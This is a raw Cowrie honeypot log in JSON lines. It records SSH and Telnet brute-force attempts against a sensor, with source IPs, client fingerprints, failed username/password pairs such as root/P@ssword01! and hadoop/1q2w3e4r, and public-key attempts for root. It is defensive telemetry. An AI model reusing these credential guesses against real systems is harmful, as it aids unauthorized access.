{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:29.980020Z","src_ip":"8.210.75.243","session":"49dbfbec5184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":44514,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3c18e118914","protocol":"ssh","message":"New connection: 103.122.221.179:44514 (159.203.135.109:22) [session: f3c18e118914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:31.706999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:31.711149Z","src_ip":"103.122.221.179","session":"f3c18e118914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:31.958921Z","src_ip":"103.122.221.179","session":"f3c18e118914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29101994","message":"login attempt [root/29101994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:32.704822Z","src_ip":"103.122.221.179","session":"f3c18e118914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:33.955318Z","src_ip":"103.122.221.179","session":"f3c18e118914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.29.214.161","src_port":54502,"dst_ip":"10.17.0.5","dst_port":22,"session":"0710e98fde8e","protocol":"ssh","message":"New connection: 14.29.214.161:54502 (10.17.0.5:22) [session: 0710e98fde8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:34.934707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:34.938249Z","src_ip":"14.29.214.161","session":"0710e98fde8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:35.170827Z","src_ip":"14.29.214.161","session":"0710e98fde8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"pass","message":"login attempt [deploy/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:36.136294Z","src_ip":"14.29.214.161","session":"0710e98fde8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:37.372251Z","src_ip":"14.29.214.161","session":"0710e98fde8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":43520,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3e50b4f75e5","protocol":"ssh","message":"New connection: 173.236.247.120:43520 (159.203.135.109:22) [session: a3e50b4f75e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:49.155102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:49.158982Z","src_ip":"173.236.247.120","session":"a3e50b4f75e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:49.167844Z","src_ip":"173.236.247.120","session":"a3e50b4f75e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bnb","password":"bnb999","message":"login attempt [bnb/bnb999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:49.197268Z","src_ip":"173.236.247.120","session":"a3e50b4f75e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48320,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c6035877847","protocol":"telnet","message":"New connection: 170.64.224.25:48320 (159.203.135.109:23) [session: 4c6035877847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:49.255007Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.222.20.20","src_port":60812,"dst_ip":"10.17.0.5","dst_port":22,"session":"09f41025c2cb","protocol":"ssh","message":"New connection: 201.222.20.20:60812 (10.17.0.5:22) [session: 09f41025c2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:49.646361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:49.650320Z","src_ip":"201.222.20.20","session":"09f41025c2cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:49.771311Z","src_ip":"201.222.20.20","session":"09f41025c2cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:50.208484Z","src_ip":"173.236.247.120","session":"a3e50b4f75e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"123456","message":"login attempt [user10/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:50.276268Z","src_ip":"201.222.20.20","session":"09f41025c2cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:51.397793Z","src_ip":"201.222.20.20","session":"09f41025c2cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.678430080413818,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:23:53.933335Z","src_ip":"170.64.224.25","session":"4c6035877847","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":34602,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d097a266bfd","protocol":"ssh","message":"New connection: 91.92.40.4:34602 (10.17.0.5:22) [session: 3d097a266bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:08.131439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:08.135242Z","src_ip":"91.92.40.4","session":"3d097a266bfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:08.216648Z","src_ip":"91.92.40.4","session":"3d097a266bfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1q2w3e4r","message":"login attempt [hadoop/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:08.465624Z","src_ip":"91.92.40.4","session":"3d097a266bfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:09.551664Z","src_ip":"91.92.40.4","session":"3d097a266bfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.203.251.187","src_port":45766,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6fc9922bc0b","protocol":"ssh","message":"New connection: 119.203.251.187:45766 (10.17.0.5:22) [session: d6fc9922bc0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:10.218911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:10.222806Z","src_ip":"119.203.251.187","session":"d6fc9922bc0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:10.422949Z","src_ip":"119.203.251.187","session":"d6fc9922bc0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword01!","message":"login attempt [root/P@ssword01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:11.258238Z","src_ip":"119.203.251.187","session":"d6fc9922bc0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:12.461204Z","src_ip":"119.203.251.187","session":"d6fc9922bc0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.75.149.221","src_port":41892,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ff3edbf9d4e","protocol":"ssh","message":"New connection: 51.75.149.221:41892 (10.17.0.5:22) [session: 9ff3edbf9d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:17.771328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:17.775215Z","src_ip":"51.75.149.221","session":"9ff3edbf9d4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:17.871966Z","src_ip":"51.75.149.221","session":"9ff3edbf9d4e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:5d:3a:59:cd:b8:00:e7:d5:96:27:66:6d:ae:2a:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF0R+MMpMpUHBSvJXy2N22FMLiE5LKmw6DFr2QkP72RJLuQD82npVjN6xyXFQamSCWOvcCtphjg0ly1vLhDwdiBUSvNBrv8zPa4LIhbe1QwtHJRj9xcyjL8YfIS1KUhg0rlM3nArcuK2wwGKq5ceaTD/JafdMOs5VxMPumY+0AzpM2mEsvbVRbUG+RTIGJ9HNeA81gcncEXGrMZO8hwcGPU2/N6jw5TKUZnDggbPQMi/A3YLz6frfkQ2gcOKe2g2kueQcBjmwQRiRtJPaL6EugQaED2s1IHygDlqda+rEwIdEru57VM/yMfjY8gANwyzZef/JUCa2F5elT4ueJUUd3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:5d:3a:59:cd:b8:00:e7:d5:96:27:66:6d:ae:2a:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:18.332504Z","src_ip":"51.75.149.221","session":"9ff3edbf9d4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:5d:3a:59:cd:b8:00:e7:d5:96:27:66:6d:ae:2a:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF0R+MMpMpUHBSvJXy2N22FMLiE5LKmw6DFr2QkP72RJLuQD82npVjN6xyXFQamSCWOvcCtphjg0ly1vLhDwdiBUSvNBrv8zPa4LIhbe1QwtHJRj9xcyjL8YfIS1KUhg0rlM3nArcuK2wwGKq5ceaTD/JafdMOs5VxMPumY+0AzpM2mEsvbVRbUG+RTIGJ9HNeA81gcncEXGrMZO8hwcGPU2/N6jw5TKUZnDggbPQMi/A3YLz6frfkQ2gcOKe2g2kueQcBjmwQRiRtJPaL6EugQaED2s1IHygDlqda+rEwIdEru57VM/yMfjY8gANwyzZef/JUCa2F5elT4ueJUUd3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:18.335391Z","src_ip":"51.75.149.221","session":"9ff3edbf9d4e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:78:9d:76:7b:77:fd:3d:a7:d0:4f:c4:5e:9f:4a:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzIBOqBaDoLM4eNQSh/j03eX2Qmt8bFA3b8zTYejQhzlT9ANsRCr7En8sfcxVGE9mnbiAOVSkNAEJhZNHRBzm46toihkn8vMuPk31geLyDPgWNbLTIi11jAkG/zL/IzwahETeCoAoSNG+uaFhZWYIpMXzI+YHaYPZp3C7XKmXoSR85IUmK1J8YkxIUKN7biSkngwydCnyqhp2LuybU+NibtWtk6LAIeX7rTDERr4NejB8rZgcB3Yc+67g4N23Uw6TZaERpWShewHjFiicdm03fUhjaeX/b/uI3ejXWELhwVi98wO+400thBV+R2HNrAR4jT+JZyLhV5k8eOKP9vgF7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:78:9d:76:7b:77:fd:3d:a7:d0:4f:c4:5e:9f:4a:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:18.432652Z","src_ip":"51.75.149.221","session":"9ff3edbf9d4e","protocol":"ssh"}
